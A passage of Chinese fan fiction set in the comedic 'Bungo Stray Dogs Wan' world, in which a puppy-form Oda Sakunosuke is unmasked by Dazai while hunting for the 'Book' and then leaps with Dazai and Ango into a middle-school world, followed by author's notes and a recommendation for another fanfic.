尾崎红叶优雅的用袖子掩住唇笑着:“很可爱呢,但是以后的生活会不方便吧?” “即便是这样的姿态,也懂得使用自己的异能力吗……”广津老爷子缓缓赞赏着。 樋口一叶本来背景就在飘花,听到这一句更是来了劲、不甘示弱的夸赞着:“因为芥川前辈即便变成了野狗,也是最强的流浪狗!!” 她说着就满面红晕的想凑过去抱一抱小小的幼犬。 别的话没听太明白、急着挣脱的芥川汪之介,听到了这一句反而大怒了。它一爪子猛蹬上了樋口一叶的脸,踹得结结实实,恼火异常的汪汪大叫着: “胡说!!太宰先生才是最厉害的野犬!!” “噗!”樋口一叶被这狠狠一爪蹬得脑袋扬起,飞了出去。 她却仍然带着幸福的笑容缓缓倒地了,有鼻血原因微妙的流了下来,她却还在努力挣扎着说完了最后一句夸赞的话:“……不愧是,芥川 ,前辈呢!” 樋口一叶扑街。 “喂?樋口?!”“不要紧吧!”“啊呀呀……” 场面一片混乱。 此刻,远处从厕所里走出来的一个芥川龙之介疑惑的静静路过。 他居然刚好把这出‘所有同僚们围着一只野犬叫他的名字、悲痛的嚷着要帮他恢复回来、仿佛全员失了智’的莫名其妙闹剧收进眼底。 思考,思考。 少年智慧的眼神再次放空了:“……” 他不作声的默默又原样退了回去,带着那种宇宙猫猫头一般的智慧凝视眼神,动作像是幽魂似的没有引起任何人的注意。 ……我觉得,文豪野犬汪世界里的Q版芥川是有几分腹黑在身上的。 但,现在不是看戏的时候。 我看向那边完全走不了的芥川汪之介。再看看挡在我前面一点都不畏惧、甚至跃跃欲试还想揍武侦宰几巴掌的太宰汪,十分的头大。 ‘不行了。’ 我确信。 犬能力流浪狗们的特殊,今天一定会暴露在人类面前了。 虽说经历了我自己这种被轻轻揭过的情况,但我还是会担忧流浪狗们的命运。总不能把他们的未来寄托在缥缈的人类善心上。 而且……我的委托,还有我在这个世界中唯一的助力都在野犬们身上。 “太宰。”我深吸了口气,虽然不太抱希望,但还是试图叮嘱一句,“我不要紧,刚才是你误会了。反而是你们不能暴露,先逃出这里吧……还有委托。” “我拒绝喔!”太宰汪回头讶然的竖高了耳朵,微炸的毛发平复了一些。然后他才用爽朗到过分的嗓音大声拒绝了,“委托不用担心。反而是织田作——” 穿着沙色风衣的大狗理直气壮的宣布着它的决心:“不会再丢下你一遍了汪!” 神色凝重的我:“……” 半晌,我确认了什么似的开口:“太宰,你是不是害羞的时候就会汪?” 等着我的反应却突然哑口无言的太宰汪: “……!” “哦呀,织田作是在和谁说话呢?这只讨人厌的狗狗吗?”武侦宰捂着脑袋上的大包冷眼观望了半天,冷不丁的无辜发问着。 我像是被抓包了的僵了一下。 太宰汪则骂的很脏。 “所以——”观望了半天没说话的坂口安吾突然插了一句嘴,并且正中红心,“这些流浪狗也拥有异能力,对吗?” 他虽然是在发问,但语气很笃定,不知道在什么时候使用了他的异能力。 “……而且和一些特定的人很像。” 坂口安吾的视线可疑的在黄色大狗的沙色风衣上掠过,又飞快的瞥过太宰治一眼。 不管是港口□□的人,还是太宰治都安静了下来,若有所思的惊奇听着安吾说话。 现在是少有的横滨“三刻构想” 的三方组织成员都在的一个现场。 那么…… 他们会怎么处理这些流浪狗? 我心中紧绷,但……莫名也有了一些预感。 下一刻,樋口一叶兴奋的从地上爬了起来高呼:“居然有和芥川前辈一样的流浪犬?我想收养!” 芥川·哈士奇·汪之介抬头就骂了过去:“汪汪!汪汪汪汪!” “呜呜呜呜,不行吗……”樋口一叶像是能听懂一样,含着眼泪被击沉了。 “不是芥川啊。”老实过头的中原中也只顾着心有余悸了。 武侦宰不耐烦的摆着手,嫌弃得简直挥出了残影,完全没有兴趣:“去去,流浪狗就应该去流浪狗该去的地方嘛——别在这里缠着织田作了!” “……最后一句话才是重点吧。” 我一转头看到了忍不住低声嘀咕着的眼镜青年。 有安吾在真是太好了。 “咳咳,太宰……?”坂口安吾蹲下来,对不拿正眼瞥他的太宰汪费心叮嘱着,“平时尽量不要在外面当着人类的面用异能力啊,小心会被坏人抓走的。” 太宰汪用看白痴的狗狗眼瞥着坂口安吾——旁边的空气。 “切,知道了。”然后它嘴软心也软的大声应着。 在确定了我暂时不离开后,太宰汪干脆利落的离开了大厅,迈着六亲不认的狗狗步伐。芥川汪之介焦急的跟上:“太宰先生!等等汪……!” 我目送两只流浪狗大摇大摆的蹿出了静水轩,看向一旁被拦住没有过来的安保,还有这一群除了叮嘱以外完全没任何想法的Q版人物们,心脏柔软了下来。 所以,这对文豪野犬汪世界的人们来说,又是一个日常的奇迹吗? 只不过是‘流浪犬们某一天拥有了异能力’的意外罢了。 我在这种时候突然很想念另一个世界的首领宰。 真的。 只有他能理解我现在的微妙心情——这是不管看到几次,都会很恍惚世界差异性的时候啊。 这一通闹剧结束后,大家酒足饭饱的各自准备回去了。 社长很沉稳的说着:“委屈坂口先生这段时间住在寒舍,听闻太宰与你是旧交,这件事我已经交给太宰去办了。” 安吾的嘴角有些微妙的抽搐:“……” 让太宰来,真的不要紧吗? 他还没斟酌措辞,前面又双叒叕爆发出一阵骚乱。 ——港口□□的人们和武装侦探社的人们挤在了一条回去的路上。 “喂……你们挡路了。”中原中也不爽的提醒着,单手抄在兜里。 他不是这么计较的性格,但——谁让站在他附近的人是太宰治呢? “啊?什么?” 武侦宰茫然的一手抱着我,一手搭在眼前,娴熟的开始了每日高速吟唱,“路上哪里有人?是哪个看不见的小矮子在说话?好可怕啊织田作——这里不会有鬼吧?” “哈?混蛋青花鱼——!”中原中也飙出了怒音,虎视眈眈的活动起了指关节。 太宰治不满的看着他,举起一根手指在脸前:“嘘……这么大动静吓到织田汪怎么办!” 中原中也的声势莫名一虚,弱了下去。 他理亏的低头看向了我:“啊,你不就是那天的……” 他伸出手,下意识的想要摸一摸我的脑袋,语气缓和了:“这几天过得还好吗?要是太宰不会养你,我这边倒还——” “呵呵呵呵小矮子,上当了,小矮子,织田汪才不会去你那边,它只喜欢我……”太宰治在后面发出恶魔低语一样的不明意义嬉笑背景音。 中原中也的脑袋上蹦出了一个大大的十字路口,动作硬生生的中断、改成了一拳捶在了武侦宰脑袋上:“让它自己选啊!!” 我:“……” 我安详的一蹬腿,蹦到了安吾怀里。 “织田作先生?!” 我严肃的举起一只爪子,止住了坂口安吾惊诧的表情。 ——不用这么看着我。 表面上,我似乎是双黑争夺的关键。 但我已经看悟了,我只是他们争吵中的一个道具啊! 让幼稚的Q版双黑自己吵去吧,成熟的织田汪之助要联络无语的成年人首领宰了。 ——我破罐子破摔一般、旁若无人的就这么取出了我的小绘本,翻看了起来- 作者有话说: 入v第三更补完啦!接下来还有一章今天的更新。 第46章 灯下黑 绘本上除了一些原本作废的交待以外, 只有安静的一片空白。 似乎是察觉到了我正在看,空白的绘本上面实时浮现出了“……”来。 我的心情一下子和首领宰共鸣了。 没错啊,就是这么复杂。 我才来文豪野犬汪的世界短短……一天?但是已经心力交瘁到感觉时间过去好久了。 已经想要赶快找到“书”回去了。 疲惫。 “织田作先生的绘本好神奇啊。”坂口安吾僵硬的用两只手端着我, 没话找话的开口说着。 我瞥了他一眼,看到正和中原中也吵的激烈的太宰治也忙里抽闲的看过来一眼, 绷带青年的目光清浅而冷静。 懂了。 他们一定认为这个绘本与‘书页’有关系吧。 实际上也没有错。 只是他们到目前还没找到关联而已,而我自己也不明白。 但首领宰似乎有所猜测。 他的字迹缓缓浮现着:[其实书页到底在哪里, 这个答案可能很简单。织田作,你……] 后面的话还没有浮现出来, 我就注意到了抱着我的安吾在偷看。他看清楚了这熟悉的字迹, 瞳孔一缩, 但讶然的没有表现出来, 而是思考了起来。 绘本上没有再出现新字迹。 我看着首领宰没头没脑的半句话…… 没什么头绪。 但不要紧。我稍微思索了一下就丢开手了,因为只要我想办法找到“书”的本体, 就能通过吸引力把我身上疑似存在的“书页”吊出来的。 不知道汪汪侦探社们打探的怎么样了? 宿舍楼到了。 走着走着众多的人群逐渐分流散开, 到宿舍楼下的时候,只剩下了我,太宰, 安吾和敦,镜花。 我悄悄眺望周围。 在墙根的阴影下, 似乎有一大一小两只博美探头探脑, 挤挤攘攘的缩在一起对我摇头。 啊, 看来还没有进展…… 我有些失落。 当了一天的幼犬, 我已经失去了新鲜感了。 想回家。 “太宰先生, 我来帮你们准备房间吧?”中岛敦主动请缨着,他很不放心的注视着武侦宰,拘谨的瞥了一眼旁边的异能特务科成员。 “不必了。”坂口安吾连忙说着, 口吻谦逊,话里的内容却没有动摇,“我有任务在身上……需要和织田作先生住在一起,我睡沙发就行。” 武侦宰的眉头不情愿的拧成结了,看起来很不想让安吾住进他的宿舍,但是抉择半天,也只能不情不愿的同意了:“我宿舍里没有沙发啊……安吾,你打地铺。” 安吾忍气吞声的接受了。 “太宰先生,晚安!”中岛敦和镜花尊敬的道了个别,我们两人一犬也回到了宿舍里。 门,咔嗒一声合上了。 “灯在哪里?”坂口安吾见太宰没有开灯的意思,以为这又是一重刁难,不得不自己问着,伸出手去墙边摸索着。 他的手却触碰到了一只缠着绷带的手—— 太宰治的手挡在灯光开关前,这是拒绝触碰的意思。 “……太宰?” 坂口安吾后知后觉的意识到氛围好像哪里不对劲了。 连带着我也有些紧张起来,抬头看着黑暗中只见一道身影的绷带青年。 哪怕武侦宰的模样仍然是圆圆的Q版,我也觉得有些不妙。 ……似乎有什么事情,必须要在这样互相看不见面容的黑暗中才能交流出来。 “让我来猜一猜织田作为什么能在不同的世界间穿行吧。”武侦宰的声音沉默了好一会儿,才轻松自然的重新响起,“你身上已经拥有了‘书’,或者‘书页’对吗?” “为什么突然这么说……”坂口安吾下意识认真了起来,却还没搞明白这种对峙般的氛围是怎么回事。 我安静眺望着武侦宰,没有反应。 “其实我一直没弄明白,为什么是织田作依附在这张‘书页’上,织田作为什么要来到我们的世界。”武侦宰继续叙述着,语气沉沉的,听不出情绪。 无力的安吾:“……不是书页活过来变成了织田作先生……吗?” 武侦宰还在旁若无人的说着:“……但是今晚见到那些流浪狗的踪迹,我就想明白了。” “他们的目标是敦。” 太宰治的嗓音清爽平和的可怕,一点都不担心自己猜错了似的,不吐不快、又像是生怕别人打断他似的一口气说着: “也就是说……织田作,你拜托了交好的流浪狗们,让他们去从敦身上寻找一样你熟悉的物品。” “你来到这个世界真正的目标,是‘书’。” “……对吧?” 我的灵魂像是被看了个透彻,完全被扒光了。 但是我没有在意这些,而是踟蹰的抬头望着太宰治,说到底,现在的我根本没办法做出任何应答。而且我毫不意外太宰治这么快发现真相。 不管是首领宰还是武侦宰,又或者别的太宰治,都有这种能力。 我在前几个世界里能顺利拿到书,都是我躲着太宰治和江户川乱步走,快刀斩乱麻的用了暴力的结果。 绘本那边的首领宰十分安静,完全没有给出任何提示。 我心中有所预料,并不觉得意外。 只是,我唯一纠结的是…… 我会担心武侦宰这么说话的立场,他想做什么? …… 武侦宰也清楚现在的我没法回答,他还在继续探寻着谜题:“我的人间失格没有对你和你身上的绘本起作用,是因为我们陷入了一个误区。” “答案其实非常的简单,就在我们的面前。” 武侦宰停顿了一下,这一瞬间十分漫长,他的手停在了我面前,却犹豫着没有立刻主动一步的意思。 我看清楚了太宰治此刻的表情:“……” 知道吗? 狗是夜行性动物,狗在黑暗中的视力,比人类强太多了。 那样的表情,出现在Q版武侦宰的脸上时。 ……我会有点不忍心。 武侦宰看起来有些畏惧接下来发生的事情,但又为了某个目的,把话题摊牌到了这里。 ‘既然这样,就一鼓作气下去啊,太宰。’ 我主动帮了他一把,顺从的把口袋里的迷你绘本拿了出来,放到武侦宰掌心里。 武侦宰重重的吐了口气,把那枚小小的绘本放到了玄关一侧的桌上,确保他和我——两个人都没有再接触到绘本。 然后…… 武侦宰的手又伸了过来。沉默的贴上了我的脖侧。 不管是人还是狗,这里都是大动脉与气管的位置。摸着这个部位的时候,似是亲昵又似是钳制,就像武侦宰给我的危险感觉一样。 在一阵微光中,我的身形犹如脱胎换骨一样的拉长变大了。 即便坂口安吾看得不怎么清晰,他还是睁大了眼睛,就着月光看到面前多出了一道高高的身影:“……这是!” 我低下头看了看自己。 ……有力的双手,我终于变回了熟悉的红发男人的形象。 不对。 应该说我变成了Q版的织田作之助。 一张“书页”也静静的漂浮在我面前,它被分离出来了。 “……织田作。” 太宰治叹息似的念出了这个诅咒般的名字。 但他的手还没有松开。 “太宰,你会阻止我吗?”我开口了,问出这个熟悉的问题。 武侦宰大费周章的戳穿我的目的是什么呢?让我变回原本的模样能够和他交流,然后,是该阻止我了吗? 武侦宰……也是一个与众不同的太宰治。 不管是不是Q版,他都是失去织田作之助四年后的成熟完全体。 说实话,我有些不愿意与武侦宰对峙,因为比起首领宰,武侦宰看待我的身份和目的也许会更理智冷静,也不过多受感情的影响。如果我承认了我是为了书而来的,他会与我为敌吗? 我不太想看到那样的场面。 唯一让我支撑着说出这句试探的勇气,其实来自于首领宰。他仍然一言不发,没有给我任何提示。 武侦宰没有直面我的问题,而是巧妙的温声问着:“织田作为什么要搜集那么多‘书’呢?” 我沉默了一瞬间。 要讲明白我的计划吗?那会是一个非常非常漫长的故事了。 要从我想获得一份坚固的友情说起?还是从我抵达beast世界后诞生的‘拯救世界计划’说起? 本能告诉我,还是不要太强调首领宰在其中的作用为好。 所以沉默过后,我讲述了一个有书的织田作之助的故事:“……在原稿中,我见到了我们无赖派无论如何都抗衡不了的那个命运。” 抱歉了,首领宰,你的剧本先借我用一下。 我没有说谎话,我是一个有书的织田作,我想拯救世界改变命运没错。 我只是合理进行了一点点省略。 “这条拯救世界的道路,就是我正在写着的‘小说’。”我做了最后一句总结。 “织田作先生……” 在听完了故事以后,安吾久久的才开口说话,他的声线略微颤抖,不可思议不知道该说什么好,被震撼得陷入了沉默。 武侦宰深深地看了我一眼。 我莫名的突然想起一个小知识,把手放在脖侧到耳后,感知着脉搏的话……不止是控制气管与动脉的意图,这种方式也可以用于测谎。 我心中坦然,自认为自己的交待并无不妥。唯一忐忑的是,不知道武侦宰会不会被我说服…… 这难度很大。 但是我真的不想直接与他敌对…… 就在我思考着这些严肃又沉重的东西时,笼罩在武侦宰周身的所有沉郁氛围竟然悉数消散了。 他回过神来,突然扑上来抱住我不撒手了,Q版的太宰治眼睛闪闪发亮的请求着,图穷匕见:“所以——织田作在找‘书’的过程中能不能带上我?!” “你看,你都在寻求其他太宰治的帮助了!带上我一个也没有什么大碍吧?织田作——” 我:“……?” 安静许久的绘本突然连连异动了起来。 我不需要去拿过来查看,都能猜到首领宰在写什么…… 但。 等等,但? “太宰。”我思考了半秒钟,还是踟蹰的问了出来,“所以你刚才那么严肃的找我摊牌……” 说了那么多都是为了……? “是的喔。”Q版的武侦宰眨了一下眼睛,震声承认着,“是为了证明我——太宰治如今的实力!这么有趣的事情带上我一个吧织田作——” Q版的绷带小人只差满地打滚,又哭又闹了,抓着我的风衣不撒手。 我闭了闭眼,疲惫的缓缓吐了一口气,没说同意还是不同意。 ……不行啊,首领宰,救救我。 我是真的要扛不住《文豪野犬汪》这个卖萌与刀子齐飞的世界了。 太恐怖了! 我发誓,以后在文豪野犬汪的世界里再多想,我就一直是织田汪之助! “不对。” 我突然停顿了一下,又睁开了眼睛,若有所思着。 “太宰……说不定你真的能和我一起去两次,安吾也是。” “我吗?”坂口安吾猝不及防。连原本打滚只是不抱希望尝试的武侦宰都睁着眼眸、可可爱爱的发愣了: “……唉?”- 作者有话说: 首领宰:“……” 所以他才不说话的。 三次了,也该长教训了。 但……为什么隔壁的无赖派可以去?! 第47章 文豪初中部 我看向了变回原本大小的笔记本。刚才漂浮打转的书页自从分离出来, 便乳燕投林似的融合进了笔记本里。 我也因此清楚的从“原稿”中得到了一条讯息—— 这个世界的“书”,如同这张书页一样,是七零八落的状态。其中最主要的一部分在本世界, 另外两部分远远散落在了其他地方,我能感应到那是很遥远的隔绝状态的某两个地方。 其他地方啊…… 几乎不用想, 我就明白这是什么意思了。 在文豪野犬汪的剧情中,其实是有四种世界观并存的。 一种是Q版的文野人物们, 一种是流浪狗狗们,他们生活在一个屋檐下。但特殊的第三四种世界观却与前两种隔绝开来, 单独成型。分别是文野幼稚园和文野初中部。 我本来以为……这会是不同的世界的, 现在却知道, 也许我真的得去一趟文野初中部和文野幼稚园了。去找到分离出来的一部分“书”。 如果是去这两个小世界, 我当然可以带上Q版武侦宰和Q版安吾。 也算是满足了喜欢撒娇的武侦宰的愿望。 ——他都摇晃着打滚了! 这中间的时间,正好留给汪汪侦探社帮我去查中岛敦身上的“书”。 我计划的很完美。 武侦宰的表情逐渐兴奋明亮。 安吾的表情却非常苦闷动摇, 他推了一下眼镜绷不住的说:“织田作先生……我是, 异能特务科的成员啊!” 你们是不是忘记了,我是来回收书页的啊! 他的脸上写满了这样拒绝的话。 “安吾不赞同我的计划吗?”我的呆毛垂下,失落的问。 坂口安吾像是被人迎面打了一拳似的说不出话了, 他气势弱了下去,喃喃着:“也不是, 但是……书页……” 他还在动摇着试图做最后的挣扎。 虽说他是异能特务科的人, 但听起来织田作先生的计划更能拯救许多世界。唯一的问题是……这些话都是织田作先生自己所说, 没有办法验证真伪。偏偏对方是那个红发男人……安吾根本没有底气也没有立场去深究。 “走吧。”我不给安吾再多想的机会了, 把“原稿”放回风衣口袋里, 一只手抓住一边的友人,径直发动了穿越世界的能力。 既然想那么多,还是直接行动吧。 我在文豪野犬汪的世界接连受挫, 感觉差不多也总结出了怎么对付他们的办法…… 也许我和他们的羁绊并不如首领宰牢靠,没有过去庞大的各个平行世界记忆作为支撑,所以不能用beast世界的老办法了。 但……武侦宰是走向光明的一个太宰治,他没有停留在过去,而是在笨拙的向未来跌跌撞撞着成长。 和这样的他相处,行动比言语重要多了。 而安吾,他还久久停留在对过去的歉疚之中。我不能代替原本的织田作之助原谅他,但是我同样可以和他发展出一段新的友谊。对付他,先斩后奏就对了。 所以,如你所愿,太宰—— 来一起冒险吧,让我们三个人并肩作战,共同创造一段新的记忆。 我大概可以肯定。 等我们冒险回来,现在还不情不愿踟蹰犹豫着的安吾,估计就不会再纠结了。武侦宰也会开心的吧。 “……哇啊!” 坂口安吾在强烈的失重感发出了一声惊叫,死死抱住了我的胳膊,在这种时候也能语速飞快的紧张问着,“织田作先生,我们这是在哪里?!” 武侦宰的鸢色眼眸亮的惊人,他很少可以这样安定的牵着别人又体验到异能力带来的快乐,另外一只手便抄在风衣口袋里,额前的碎发被风吹拂。 那一抹沙色风衣在空中烈烈舞动着,哪怕是坠落,绷带青年的身影也帅的从容不迫。 我思考了一下,看着越来越近的水面:“大概是到了另一个世界了,幸好下面有水。” “如果没水该怎么办啊?”坂口安吾有点崩溃,“织田作先生——你每次去别的世界都这么凶险的吗?!” “没有吧。”我想了想上次的经历,疑惑陈述着,“上次一落地就进了港口□□,我正在发愁该怎么办,这样一来吃住都包了。” 太宰治的脸上全是微妙的木然,已经听出了端倪。他表情没变的试探问着:“织田作是……被抓进去的吗?” 我坦然点了下头。 ‘……这不是更不妙了吗!’坂口安吾想开口吐槽,但我已经提醒他,“合拢嘴巴,我们要到了。” 汹涌的水花溅起,我们三个人猛然坠进了水里。 这里是一处校园里的喷泉,足有两三米那么深。我们在翻涌的水花中沉底,刚才可以借力向上漂浮。 我在水中睁开眼,转头看过去。 最习惯入水的应该就是太宰了,他在水中怡然自得的飘着,不需要担心。安吾在这种真正该惊慌的环境下,反而展现了他多重间谍特有的心理素质,用手势对我比比划划着,往上游去。 我:“……” 对不起,我不是真正的和你们相处过的织田作之助,也没有在港口□□待过,更不是数一数二的杀手。安吾比了个什么? 没看懂。 “呼……呼,织田作先生!我们得赶快藏起来。”浮出水面后,坂口安吾刚喘了两口气,运转精密的脑袋就迫不及待的吐露出了一连串的想法,“这里似乎是一处陌生的学校,我们没办法解释自己怎么闯进来的,现在也不是夜晚。” “……很快就会有人听到动静过来查看的。” 我看了看天色,现在是逢魔时分,大半边天际都笼罩在色泽瑰丽的火烧云下。应该是放学时间了吧?我不太确定。主要是不清楚这里属于初中部还是幼稚园。 这个时间,的确很难避免遇到来人。 我跟在坂口安吾身后上了岸。 Q版的眼镜青年脸痛苦万分的皱了起来,拧着自己的裤腿:“……为了来交接‘书页’,我穿的可是质地最好的一件西装了啊!” 他委屈的碎碎念着,心痛的不能呼吸。 这身西服算是要报废了。 “太宰呢?”他的视线扫视着平静的水面,忍不住问。 都是多年前的老熟人了,坂口安吾清楚的知道太宰治的老毛病。 “去探查情报了?”我的视线扫向了喷泉边上的小树林,口吻也是不太确定的。 我没有见到太宰上岸的动作,但我只是凭本能的这么猜测着。 “没错,虽然我很想入水——但,今天不是时候呢。”熟悉的嗓音在不远处响起,Q版的武侦宰笑的眉眼弯弯的叹息着。 他脱下了湿漉漉的风衣,整个人都很饶有兴致,正站在小树林里鬼鬼祟祟的对我们招手:“快来——你们快过来看!” “我意外的发现了好东西啊!”武侦宰语调愉快的这么低声说着。 我和安吾对视一眼,默契的挪了过去,三个人在小树林里藏好,悄悄往外看着—— 不远处就是这座校园的主干道了。 有两个稚嫩的Q版身影穿着白衬衣与制服长裤站在那里,正在小声争吵什么。 “……是真的!据说寻找校园七大不可思议的人都会遭遇不幸,刚才的怪响难道不是预兆吗?!”赭色头发的Q版小少年急眼的据理力争着,脸色惨白。 站在他对面的绷带少年不以为意的抱着双臂:“什么嘛,中也同学——”他拉长了腔调,搞怪的故意嘲笑着:“你要是害怕了可以直说,我们现在离开也行的。” “怎、怎怎怎么可能!哈哈哈我怎么可能害怕呢!”中原中也立马睁圆了眼睛,语调十分僵硬的嘴硬着反驳,气势倒很惊人, “我不过是怕某个中二的家伙故意扮帅气,结果反而惹了祸,影响我们这周的……小组评分而已!” “中也你难道不是吗?” 被他指责‘故意扮帅气’罪名的Q版太宰治不忿的反问起来,一条条数了起来,“是谁最开始好奇的对我打听校园七大不可思议的?我又没有求着你加进来——” “还有中也穿的这么浮夸,就像在假装你自己是什么神秘世家的大公子一样!” Q版太宰不高兴的用眼神斜撇着中原中也的黑色半指手套,白衬衣上显眼的皮革领带——用的还是炫酷的十字交叉绑法。 中也穿的这么帅准备去校园里冒险,这不是比他显得还神秘吗?! 绷带少年不爽了。 “哈?真的吗?”Q版中原中也气势一顿,有些不好意思了。他的声音低了下去,脸上带了点被夸赞了的矜持的神气,别扭的说,“嘛……我也不像你说的那么,嗯。” 嘴角都压不下去。 “我又没有在夸你,中也是听不懂人话的笨蛋吗?!”绷带少年被他真挚的一看,一下子炸毛了。 两个Q版小少年吵吵嚷嚷着,互相撞着对方的肩膀,骂骂咧咧的一路往教学楼去了。 我:“他们的感情真好啊。” “噫!”这是起了一身鸡皮疙瘩的武侦宰,他拼命搓着自己的手臂,不堪忍受似的,脸上全是万分嫌弃, “……织田作,不要有这么恐怖的联想能力啊。” 坂口安吾也在由衷的感叹着:“……好青春的孩子们。” 让他上班的淡淡死气都驱散了不少。 最关键的是,他还没见过这么稚嫩的太宰和中原干部。 看起来才十几岁的样子吧? “是中学二年级的十四岁学生啊。”我辨认了出来。 所谓的——中二期少年,不打一点折扣。 “所以,我们接下来做什么?等他们离开了再去找‘书’吗?”安吾先蹙着眉头给出了一个保守方案。 “太慢了,我们直接上。”武侦宰蠢蠢欲动着。 从刚才那阵嫌弃中回过来神后,他就没有看自己黑历史的不堪回首模样了,取而代之的是炯炯有神的目光,满脸写着“想搞事”。 这里毕竟不是他们的世界。 坂口安吾不安的看向我寻求支持。 “——那我们就去搞事。”我面无表情的肯定着。 “织田作先生?!” “去找书,织田作说的是去找书啦。哎?安吾的耳朵是坏掉了吗!这都能听错!” 我听着Q版武侦宰睁着眼睛说瞎话,语调夸张,昧着良心不分青红皂白就开始替我颠倒黑白…… 一时间还有点欣慰。 虽然但是,不要欺负安吾啊。迫害吐槽役,难道是每一个片场都会发生的事情吗?- 作者有话说: 上夹子好开心,看我新封面!!是荒宰画的……好帅好酷,美爆了我超喜欢。 下面是对荒宰的文的推荐! · 《克系太宰来自异界》 作者名:荒海匿语 ——黑漆漆的触手宰诚挚地向你致敬。 · 【高亮:双黑挚友向无cp→暧昧擦边进的纯爱(移目)(土下座)】 太宰穿越了。 他来自一个只剩下“永夜”的世界,一个与横滨规则不同,物种不同,认知不同,怪异遍地走的异世界。 · 太宰追踪着怪物们,顺着长满獠牙的黑色虫洞,从危机四伏的“永夜”爬到了这个五光十色的平行世界。 · 他将杀尽这些怪物,一个不留。 · 一切为了祭坛上沉睡的伙伴。 · “晚安,中也,祝你好梦。” *** “和太宰先生长得一模一样,不会是太宰的儿子吧?” “真的和太宰一模一样哎,果然是儿子吧!” “太宰的话不管干什么都不令人惊讶,有个私生子也不是不可能。” · “什么?太宰有儿子了?” “什么?太宰怀了?” “什么?太宰其实是女孩子?” “什么什么太宰其实是女扮男装并且未婚先孕现在人在医疗室生产?!!!” · 武侦太宰:??? 这么离谱的流言是怎么传出来的? 第48章 首领宰世界插曲 “出发!”武侦宰眼睛都不眨一下的举起手臂, 走在最前面。 坂口安吾见状停下吐槽,恢复了冷静,压抑着情绪与嗓音的低声问:“我们就这么跟在他们后面吗?” “应该是进教学楼后分开吧, 我们是来找‘书’的。” 我虽然这么说着,但其实也感应不到“书”会藏在哪里, 只能把信赖的目光投到武侦宰与安吾身上。 ——这种动脑子的话,果然得拜托太宰了, 然后稍有线索,就可以靠安吾的“堕落论”来追寻踪迹。 至于我自己的“天衣无缝”, 在这个不需要战斗的和平校园里压根派不上用场。 当然, 我没有忘记我的另一个挚友。 我低头看了一眼笔记本。 笔记本异动了三下, 似乎是beast世界的无赖派也准备就绪了。 “……”眼下明明是两组无赖派一起准备开足马力帮忙的盛况, 即将燃起来了! 我却莫名沉吟了片刻。 “织田作先生?”身旁的Q版安吾愕然的看看我,不懂我为什么沉默片刻后, 突然摸出来一根笔, 捧着笔记本写起了什么。 “稍等。”我淡定的幽幽说着。 笔记本上赫然被我关心的道谢着: [太宰,又一次麻烦你了,到现在还没有歇过会影响你的身体和工作吗?] [安吾, 你对自己的分析也帮了我大忙。] [织田作先生,请监督太宰睡觉。] …… 隔着一个世界偷窥的首领宰突然背后一凉。 缓缓抬头。 同坐在lupin酒馆里的坂口安吾缓缓恍然, 犹豫的问他:“太宰先生, 你该不会——从最开始到现在都没有休息过, 一直关注着书页吧?” 首领宰不动声色的交拢起手指, 用云淡风轻的口吻说:“这对我来说并不是什么难以做到的事, 这也是我主持一整个组织的运转必要的牺牲。” ‘——他为什么显得理不直气还壮,是在竭力想用自然的表现说服自己和大家这是一件正常的事情吗?!’ ‘难道他以为扯上了港口□□这个庞大的身份,又套上一层责任感后就没人敢管了吗?而且不要道德绑架啊!’ 坂口安吾要忍不住吐槽了。 但首领宰要过的最大难关不在坂口安吾身上, 而是…… 两人一起把目光转向思索着什么的红发男人。 织田作之助完全没有被看起来很迷惑性的回答说服,而是思索完毕后平静道:“太宰,我送你回去睡觉,这次交给另一个世界的太宰和安吾也能完成。” ——这是怎么跳过前面、跳过中间、跳过后面,直奔答案的?! 坂口安吾小心谨慎的在心里吐槽着。 首领宰看起来还想辩解什么,却看到红发男人大有走过来扛人的蠢蠢欲动架势。 ——以隔壁万千个世界对织田作的了解,他再聪明的头脑现在也只能缴械投降了,除非他想在安吾面前被织田作展现一套强硬的押送手法。 绝对不要。 太宰治蔫了,沉默不语的缓缓站起来,缓缓走了出去。 穿着华贵的黑色大衣,披着象征权利与财力的红围巾的绷带青年明明是气势惊人的那一个,走出门的身影却恹恹的、无端看出了三分幽怨落寞。 等在门口的中原中也有些愕然,眼睛刚刚睁大,就看到小酒馆里跟出来了一个板着脸、身上仿佛写满了‘大家长’的红发男人,仿佛是半夜抓到了贪玩没睡的孩子的镇压神态。 那份气场让人肃然起敬。 眼镜青年跟在后面坐上车,一路都在斟酌什么。 直到三人回了织田宅,盯着青年不情不愿的在床上躺下了,坂口安吾平静的摸遍了周围,确保某位首领没有不睡觉偷偷玩‘窃听器’啊‘书页’啊之类的小道具。 他才合上门不吐不快的钦佩出声:“织田作先生,你居然能无视太宰先生的那些话……” “啊。”红发男人有些莫名,“在收到委托后,我有苦恼该怎么哄孩子,所以去买了一些书籍……” 坂口安吾抬头。 看到书架上陈列着一排「孩童半夜精力旺盛,该如何斗智斗勇?」「教你成为威严与慈爱并存的合格父母」「尊重孩童意愿?或是坚持家长教育?学会适时抉择!」诸如此类横幅批语的教育书籍。 坂口安吾:“……” 欲言又止,止言又欲,恍然大悟。 “所以我要继续进去了。”红发男人大有严厉的打算陪同太宰治安安分分到睡醒的打算。 他的蓝眸也转了过来,目光虽然平淡诚挚,但落到坂口安吾身上时也让他背后起了一层寒意:“安吾工作很辛苦,总是加班没办法参与会议,不如也……” “不了不了!我回家睡!”眼镜青年骤然狼狈拒绝。 让坂口安吾多睡会儿倒是可以,但是他绝对做不到和港口□□的首领同睡一室啊!! 哪怕这位是他在其他世界的挚友同位体,坂口安吾也惊恐的想象不出来他怎么和港口□□老大这么亲密的画面…… …… 我恩将仇报的写完那三句话,就心安理得的收回了笔记本,不需要想已经猜到了隔壁beast世界可能变成了什么鸡飞狗跳的场面了。 但是都不要紧。 我深深的坚信着只要有织田作,一切都不是问题。他的手腕高超,绝对能摆平一切的。 实在不行也能物理向摆平。 “织田作先生,我们到了。”身旁的Q版安吾好心的提醒了一句边走路边低头写东西的我。 我看向前方。 眼前是一栋写着“艺术楼”的教学楼,放学后的大门已经落了锁。但最前面的十四岁学生双黑已经吵吵嚷嚷着不知怎么开了门进去了。 武侦宰兴致勃勃过了头,远远躲在走廊拐角后,看样子准备沿着一楼走廊绕远上楼,好避开双黑探索教学楼。 “喔……织田作织田作!快上来看这是什么?!”他用手捂着嘴悄声兴奋喊着我,发出了一连串兴奋的低沉笑声。 我:“?” 我看到了一间普通的话剧社教室,里面摆着各种道具玩偶,没上色做好的背景板,所以地上放着一些……水粉颜料。 我:“啊。” 盯着那抹刺眼红色的安吾:“啊。” 